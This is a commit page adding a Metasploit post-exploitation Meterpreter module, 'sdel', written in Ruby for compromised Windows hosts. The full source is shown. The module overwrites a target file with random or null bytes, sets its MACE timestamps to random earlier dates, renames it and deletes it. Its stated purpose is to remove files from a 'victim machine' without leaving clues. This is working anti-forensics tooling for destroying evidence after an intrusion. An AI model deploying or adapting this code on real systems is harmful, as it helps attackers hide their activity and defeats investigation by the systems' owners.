Skip to content

Commit 8473aaf

Browse files
committed
added sdel post meterpreter module
1 parent 828f377 commit 8473aaf

File tree

1 file changed

+170
-0
lines changed

1 file changed

+170
-0
lines changed

modules/post/windows/manage/sdel.rb

Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/priv'
12+
13+
class Metasploit3 < Msf::Post
14+
15+
include Msf::Post::Windows::Priv
16+
include Msf::Post::Common
17+
include Msf::Post::File
18+
19+
def initialize(info={})
20+
super( update_info( info,
21+
'Name' => 'Safe Delete Meterpreter Module',
22+
'Description' => %q{
23+
The goal of the module is to hinder the recovery of deleted files by overwriting
24+
its contents. This could be useful when you need to download some file on the victim
25+
machine and then delete it without leaving clues about its contents. Note that the script
26+
does not wipe the free disk space so temporary/sparse/encrypted/compressed files could
27+
not be overwritten. Note too that MTF entries are not overwritten so very small files
28+
could stay resident within the stream descriptor.},
29+
'License' => BSD_LICENSE,
30+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
31+
'Platform' => [ 'windows' ],
32+
'SessionTypes' => [ 'meterpreter' ]
33+
))
34+
35+
register_options(
36+
[
37+
OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),
38+
OptString.new('FILE',[true, 'File to be deleted',''])
39+
], self.class)
40+
end
41+
42+
43+
def run
44+
begin
45+
type = 1
46+
file = datastore['FILE']
47+
48+
if datastore['ZERO']==true
49+
type = 0
50+
print_status("The file will be overwritten with null bytes")
51+
end
52+
53+
if !file_exist?(file)
54+
print_error("File #{file} does not exist")
55+
return
56+
elsif comp_encr(file)
57+
print_status("File compress or encrypted. Content could not be overwritten")
58+
end
59+
file_overwrite(file,type)
60+
end
61+
end
62+
63+
64+
#Function to calculate the size of the cluster
65+
def size_cluster()
66+
begin
67+
drive = expand_path("%SystemDrive%")
68+
r = client.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4)
69+
cluster = r["lpBytesPerSector"] * r["lpSectorsPerCluster"]
70+
print_status("Cluster Size: #{cluster}")
71+
72+
return cluster
73+
end
74+
end
75+
76+
77+
#Function to calculate the real file size on disk (file size + slack space)
78+
def size_on_disk(file)
79+
begin
80+
size_file = client.fs.file.stat(file).size;
81+
print_status("Size of the file: #{size_file}")
82+
83+
if (size_file<800)
84+
print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it")
85+
end
86+
87+
sizeC= size_cluster()
88+
size_ = size_file.divmod(sizeC)
89+
90+
if size_.last != 0
91+
real_size = (size_.first * sizeC) + sizeC
92+
else
93+
real_size = size_.first * sizeC
94+
end
95+
96+
print_status("Size on disk: #{real_size}")
97+
return real_size
98+
end
99+
end
100+
101+
102+
#Change MACE attributes. Get a fake date by subtracting N days from the current date
103+
def change_mace(file)
104+
begin
105+
rsec= Rex::Text.rand_text_numeric(7,bad='012')
106+
date = Time.now - rsec.to_i
107+
print_status("Changing MACE attributes")
108+
client.priv.fs.set_file_mace(file, date,date,date,date)
109+
end
110+
end
111+
112+
113+
#Function to overwrite the file
114+
def file_overwrite(file,type)
115+
begin
116+
#FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
117+
r = client.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
118+
handle=r['return']
119+
real_size=size_on_disk(file)
120+
121+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
122+
client.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN")
123+
124+
if type==0
125+
random="\0"*real_size
126+
else
127+
random=Rex::Text.rand_text(real_size,nil)
128+
end
129+
130+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
131+
w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)
132+
133+
if w['return']==false
134+
print_error("The was an error writing to disk, check permissions")
135+
return
136+
end
137+
138+
print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
139+
client.railgun.kernel32.CloseHandle(handle)
140+
141+
change_mace(file)
142+
143+
#Generate a long random file name before delete it
144+
newname = Rex::Text.rand_text_alpha(200,nil)
145+
print_status("Changing file name")
146+
147+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
148+
client.railgun.kernel32.MoveFileA(file,newname)
149+
150+
file_rm(newname)
151+
print_good("File erased!")
152+
end
153+
end
154+
155+
#Check if the file is encrypted or compressed
156+
def comp_encr(file)
157+
begin
158+
#http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
159+
handle=client.railgun.kernel32.GetFileAttributesA(file)
160+
type= handle['return']
161+
162+
#FILE_ATTRIBUTE_COMPRESSED=0x800
163+
#FILE_ATTRIBUTE_ENCRYPTED=0x4000
164+
if ( type & (0x4800)).nonzero?
165+
return true
166+
end
167+
return false
168+
end
169+
end
170+
end

0 commit comments

Comments
 (0)